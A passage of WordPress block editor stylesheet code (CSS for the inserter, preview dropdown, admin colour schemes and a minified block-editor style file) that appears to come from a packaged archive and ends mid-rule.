.block-editor-inserter__tabs { display: flex; flex-direction: column; margin-top: -8px; } .block-editor-inserter__tabs .components-tab-panel__tabs { position: -webkit-sticky; position: sticky; top: 72px; background: #fff; z-index: 1; border-bottom: 1px solid #ddd; } .block-editor-inserter__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item { flex-grow: 1; margin-bottom: -1px; } .block-editor-inserter__tabs .components-tab-panel__tab-content { display: flex; flex-grow: 1; flex-direction: column; position: relative; } .block-editor-inserter__panel-header { display: inline-flex; align-items: center; padding: 16px 16px 0; } .block-editor-inserter__panel-header-patterns { padding: 16px 16px 0; } .block-editor-inserter__panel-content { padding: 16px; } .block-editor-inserter__panel-title, .block-editor-inserter__panel-title button { margin: 0 12px 0 0; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input { line-height: 1.2; } .block-editor-inserter__panel-dropdown select { border: none; } .block-editor-inserter__block-list { flex-grow: 1; position: relative; } .block-editor-inserter__popover .block-editor-block-types-list { margin: -8px; } .block-editor-inserter__reusable-blocks-panel { position: relative; text-align: right; } .block-editor-inserter__manage-reusable-blocks { display: inline-block; margin: 16px; } .block-editor-inserter__no-results { padding: 32px; margin-top: 64px; text-align: center; } .block-editor-inserter__no-results-icon { fill: #949494; } .block-editor-inserter__child-blocks { padding: 0 16px; } .block-editor-inserter__parent-block-header { display: flex; align-items: center; } .block-editor-inserter__parent-block-header h2 { font-size: 13px; } .block-editor-inserter__parent-block-header .block-editor-block-icon { margin-right: 8px; } .block-editor-inserter__preview-container { display: none; width: 300px; background: #fff; border-radius: 2px; border: 1px solid #ddd; position: absolute; top: 16px; left: calc(100% + 16px); max-height: calc(100% - 32px); overflow-y: hidden; } @media (min-width: 782px) { .block-editor-inserter__preview-container { display: block; } } .block-editor-inserter__preview-container .block-editor-block-card { padding: 16px; } .block-editor-inserter__preview-container .block-editor-block-card__title { font-size: 13px; } .block-editor-inserter__preview-content { min-height: 144px; background: #f0f0f0; display: -ms-grid; display: grid; flex-grow: 1; align-items: center; } .block-editor-inserter__preview-content-missing { flex: 1; display: flex; justify-content: center; align-items: center; min-height: 144px; color: #757575; background: #f0f0f0; } .block-editor-inserter__tips { border-top: 1px solid #ddd; padding: 16px; flex-shrink: 0; position: relative; } .block-editor-inserter__manage-reusable-blocks-container { padding: 16px; } .block-editor-inserter__quick-inserter { width: 100%; max-width: 100%; } @media (min-width: 782px) { .block-editor-inserter__quick-inserter { width: 350px; } } .block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header { height: 0; padding: 0; float: left; } .block-editor-inserter__quick-inserter .block-editor-inserter__panel-content { padding: 8px; } .block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content, .block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content { padding: 16px; } .block-editor-inserter__quick-inserter-patterns { display: -ms-grid; display: grid; -ms-grid-columns: 1fr 1fr; grid-template-columns: 1fr 1fr; grid-gap: 8px; } .block-editor-inserter__quick-inserter-separator { border-top: 1px solid #ddd; } .block-editor-inserter__popover.is-quick > .components-popover__content > div { padding: 0; } .block-editor-inserter__quick-inserter-expand.components-button { display: block; background: #1e1e1e; color: #fff; width: 100%; height: 44px; border-radius: 0; } .block-editor-inserter__quick-inserter-expand.components-button:hover { color: #fff; } .block-editor-inserter__quick-inserter-expand.components-button:active { color: #ccc; } .block-editor-inserter__quick-inserter-expand.components-button:focus:not(:disabled) { box-shadow: inset 0 0 0 1.5px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 1.5px var(--wp-admin-theme-color), inset 0 0 0 3px #fff; } .block-editor-post-preview__dropdown { padding: 0; } .block-editor-post-preview__button-resize.block-editor-post-preview__button-resize { padding-left: 40px; } .block-editor-post-preview__button-resize.block-editor-post-preview__button-resize.has-icon { padding-left: 8px; } .block-editor-post-preview__dropdown-content .components-popover__content { overflow-y: visible; } .block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:first-child { padding-bottom: 8px; } .block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:last-child { margin-bottom: 0; } .block-editor-post-preview__dropdown-content .components-menu-group + .components-menu-group { padding: 8px; } @media (min-width: 600px) { .edit-post-header__settings .editor-post-preview, .edit-site-header__actions .editor-post-preview { display: none; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle { transition: opacity 0.1s linear; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle { opacity: 0; } .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle.is-opened { opacity: 1; } } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/block-editor/style.min.css000064400000265356151202620300013321 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#start-resizable-editor-section{display:none}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-right:8px}.block-editor-block-alignment-matrix-toolbar__popover .components-popover__content{min-width:0;width:auto}.block-editor-block-alignment-matrix-toolbar__popover .components-popover__content>div{padding:8px}.block-editor-block-icon{display:flex;align-items:center;justify-content:center;width:24px;height:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}.block-editor-block-icon svg{min-width:20px;min-height:20px;max-width:24px;max-height:24px}.block-editor-block-inspector .components-base-control{margin-bottom:24px}.block-editor-block-inspector .components-base-control:last-child{margin-bottom:8px}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0}.block-editor-block-inspector .block-editor-block-card{padding:16px}.block-editor-block-inspector__no-blocks{display:block;font-size:13px;background:#fff;padding:32px 16px;text-align:center}.block-editor-block-styles .block-editor-block-list__block{margin:0}.block-editor-block-list__layout .block-editor-block-list__block,.block-editor-block-list__layout .block-list-appender{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-drop-target:before,.block-editor-block-list__layout .block-list-appender.is-drop-target:before{content:"";position:absolute;z-index:0;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;top:-14px;right:0;left:0;border-top:4px solid #007cba;border-top:4px solid var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block.is-drop-target.is-dropping-horizontally:before,.block-editor-block-list__layout .block-list-appender.is-drop-target.is-dropping-horizontally:before{top:0;bottom:0;left:-6px;border-top:none;border-left:4px solid #007cba;border-left:4px solid var(--wp-admin-theme-color)}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:after,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:after,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected:after{position:absolute;z-index:1;pointer-events:none;content:"";top:1px;bottom:1px;left:1px;right:1px;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:1px;outline:2px solid transparent}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:after,.is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:after,.is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted .components-placeholder ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected .components-placeholder ::selection,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered .components-placeholder ::selection,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected .components-placeholder ::selection{background:transparent}.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:not(.is-selected):after{box-shadow:0 0 0 1px #949494}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.has-child-selected{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent;outline:var(--wp-admin-border-width-focus) solid transparent}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:before{content:"";position:absolute;z-index:0;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;right:0;left:0;top:-14px;border-radius:2px;border-top:4px solid #ccc}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{content:none}.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:before{border-color:#007cba;border-color:var(--wp-admin-theme-color)}.is-block-moving-mode.block-editor-block-list__block-selection-button{opacity:0;font-size:1px;height:1px;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{position:relative;overflow-wrap:break-word}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{margin-left:0;margin-right:0}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus{outline:none}.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after{position:absolute;z-index:1;pointer-events:none;content:"";top:1px;bottom:1px;left:1px;right:1px;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:1px}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):after{box-shadow:0 0 0 1px #1e1e1e;top:1px;left:1px;right:1px;bottom:1px;border-radius:1px}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):focus:after{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing){cursor:default}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing):after{top:1px;left:1px;right:1px;bottom:1px;box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);border-radius:1px}.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected){opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected){transition-duration:0s}}.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected).is-focused,.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected):not(.is-focused) .block-editor-block-list__block{opacity:1}.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode){opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode){transition-duration:0s}}.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity .block-editor-block-list__block,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) .is-active-entity .block-editor-block-list__block,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode):not(.has-child-selected) .block-editor-block-list__block{opacity:1}.block-editor-block-list__layout .block-editor-block-list__block:after{content:"";pointer-events:none;position:absolute;top:0;right:0;bottom:0;left:0;border-radius:2px;box-shadow:0 0 0 2px transparent;box-shadow:0 0 0 var(--wp-admin-border-width-focus) transparent}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;border-radius:2px;background-color:hsla(0,0%,100%,.4)}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block{cursor:default}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.block-editor-block-list__layout .block-editor-block-list__block .block-editor-block-list__layout .block-editor-default-block-appender .block-editor-inserter{left:auto;right:8px}.block-editor-block-list__layout .wp-block{margin-left:auto;margin-right:auto}.wp-block[data-align=left],.wp-block[data-align=right]{width:100%;height:0}.wp-block[data-align=left]:before,.wp-block[data-align=right]:before{content:none}.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-block[data-align=left]>*{ /*!rtl:begin:ignore*/float:left;margin-right:2em /*!rtl:end:ignore*/}.wp-block[data-align=right]>*{ /*!rtl:begin:ignore*/float:right;margin-left:2em /*!rtl:end:ignore*/}.wp-block[data-align=full],.wp-block[data-align=wide]{clear:both}.block-editor-block-list .block-editor-inserter{margin:8px;cursor:move;cursor:grab}.block-editor-block-list__insertion-point{position:absolute}.block-editor-block-list__insertion-point-indicator{position:absolute;background:#007cba;background:var(--wp-admin-theme-color);animation:block-editor-inserter__toggle__fade-in-animation-delayed .3s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-list__insertion-point-indicator{animation-duration:1ms}}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{top:50%;right:0;left:0;height:1px}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{top:0;right:0;left:50%;height:100%;width:1px}.block-editor-block-list__insertion-point-inserter{display:none;position:absolute;justify-content:center;top:calc(50% - 12px);left:calc(50% - 12px)}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-popover-inserter{position:absolute;top:-9999em;margin-bottom:14px}.block-editor-block-list__block-popover-inserter.is-visible{position:static}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;padding:0;min-width:24px;height:24px}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{color:#fff;background:#007cba;background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#007cba;background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button{animation:block-editor-inserter__toggle__fade-in-animation-delayed .3s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button{animation-duration:1ms}}@keyframes block-editor-inserter__toggle__fade-in-animation-delayed{0%{opacity:0}60%{opacity:0}to{opacity:1}}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{display:block;margin:0;padding:12px;width:100%;border:none;outline:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;resize:none;overflow:hidden;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;transition:padding .2s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{border-right-color:#1e1e1e}.block-editor-block-contextual-toolbar .block-editor-block-mover-button{overflow:hidden}.block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{min-width:24px;width:24px}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button:focus:before{left:0!important;min-width:0;width:100%}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-up-button svg{top:5px}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-down-button svg{bottom:5px}.block-editor-block-list__block-selection-button{display:block;z-index:22}.block-editor-block-list__block-selection-button .components-button{font-size:13px;height:46px;padding:12px 16px;position:relative;top:-1px;box-shadow:0 0 0 1px #1e1e1e;border-radius:1px;background-color:#fff}.block-editor-block-list__block-selection-button .components-button:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{z-index:5;position:relative}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-block-list__insertion-point-popover.is-without-arrow{z-index:28;position:absolute}.block-editor-block-list__insertion-point-popover.is-without-arrow .components-popover__content.components-popover__content{background:none;border:none;box-shadow:none;overflow-y:visible;margin-left:0}@keyframes hide-during-dragging{to{position:fixed;transform:translate(9999px,9999px)}}.components-popover.block-editor-block-list__block-popover{z-index:31;position:absolute}.components-popover.block-editor-block-list__block-popover .components-popover__content{margin:0!important;min-width:auto;width:-webkit-max-content;width:max-content;background:none;border:none;box-shadow:none;overflow-y:visible;pointer-events:none}.components-popover.block-editor-block-list__block-popover .components-popover__content>*{pointer-events:all}.components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-list__block-selection-button{margin-bottom:12px}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{opacity:0;animation:hide-during-dragging 1ms linear forwards}.is-dragging-components-draggable .components-tooltip{display:none}.block-editor-block-list__block .block-list-appender{margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{margin:8px 0}.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{padding:0;opacity:1;transform:scale(1);transition:all .1s ease}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{transition-duration:0s}}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-breadcrumb{list-style:none;padding:0;margin:0}.block-editor-block-breadcrumb li{display:inline-block;margin:0}.block-editor-block-breadcrumb li:not(:last-child):after{content:"→"}.block-editor-block-breadcrumb__button.components-button{height:24px;line-height:24px;padding:0;position:relative}.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){text-decoration:underline;box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus{box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus:before{content:"";display:block;position:absolute;border-radius:2px;top:1px;right:1px;bottom:1px;left:1px;box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{color:#1e1e1e;padding:0 8px;font-size:inherit}.block-editor-block-card{display:flex;align-items:flex-start}.block-editor-block-card__icon{border:1px solid #ddd;padding:7px;margin-right:10px;height:36px;width:36px}.block-editor-block-card__content{flex-grow:1}.block-editor-block-card__title{font-weight:500}.block-editor-block-card__title.block-editor-block-card__title{margin:0 0 5px}.block-editor-block-card__description{font-size:13px}.block-editor-block-card .block-editor-block-icon{margin-left:-2px;margin-right:10px;padding:0 3px;width:36px;height:24px}.block-editor-block-compare{overflow:auto;height:auto}@media (min-width:600px){.block-editor-block-compare{max-height:70%}}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;justify-content:space-between;flex-direction:column;width:50%;padding:0 16px 0 0;min-width:200px}.block-editor-block-compare__wrapper>div button{float:right}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-left:1px solid #ddd;padding-left:15px;padding-right:0}.block-editor-block-compare__wrapper .block-editor-block-compare__html{font-family:Menlo,Consolas,monaco,monospace;font-size:12px;color:#1e1e1e;border-bottom:1px solid #ddd;padding-bottom:15px;line-height:1.7}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-top:3px;padding-bottom:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{position:absolute;top:-24px;left:0}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;border:1px solid #1e1e1e;box-shadow:0 4px 6px rgba(0,0,0,.3);color:#fff;cursor:grabbing;display:inline-flex;height:48px;min-width:72px;padding:0 12px;-webkit-user-select:none;-ms-user-select:none;user-select:none}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{margin:auto}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.is-dragging{display:none!important}.block-editor-block-mobile-toolbar{display:flex;flex-direction:row;border-right:1px solid #ddd}.block-editor-block-mobile-toolbar .block-editor-block-mover-button{width:36px;height:36px;border-radius:2px;padding:3px;margin:0;justify-content:center;align-items:center}.block-editor-block-mobile-toolbar .block-editor-block-mover-button .dashicon{margin:auto}.block-editor-block-mobile-toolbar .block-editor-block-mover{display:flex;margin-right:auto}.block-editor-block-mobile-toolbar .block-editor-block-mover .block-editor-block-mover-button{float:left}.block-editor-block-mover-button__description{display:none}.block-editor-block-mover-button.has-icon{padding:0}.block-editor-block-mover{display:inline-flex;flex-direction:row}.block-editor-block-mover .block-editor-block-mover__move-button-container,.block-editor-block-mover .components-toolbar{flex:1;flex-direction:row;border-right:none!important}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover__move-button-container,.block-editor-block-mover .components-toolbar{flex-direction:column}}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container,.block-editor-block-mover.is-horizontal .components-toolbar{flex-direction:row}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover-button{height:24px;width:42px;padding-right:11px!important;padding-left:6px!important}}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover-button:before{left:8px!important;right:8px!important}}.block-editor-block-mover .block-editor-block-mover__drag-handle{width:24px;cursor:grab;min-width:24px!important;padding:0!important}.block-editor-block-mover .block-editor-block-mover__drag-handle:focus:before{left:0!important;right:0!important}@media (min-width:600px){.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button,.block-editor-block-mover .components-toolbar .block-editor-block-mover-button{margin:0 auto 0 0}.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-up-button:before,.block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-up-button:before{bottom:0;height:calc(100% - 1px)}.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-down-button:before,.block-editor-block-mover .components-toolbar 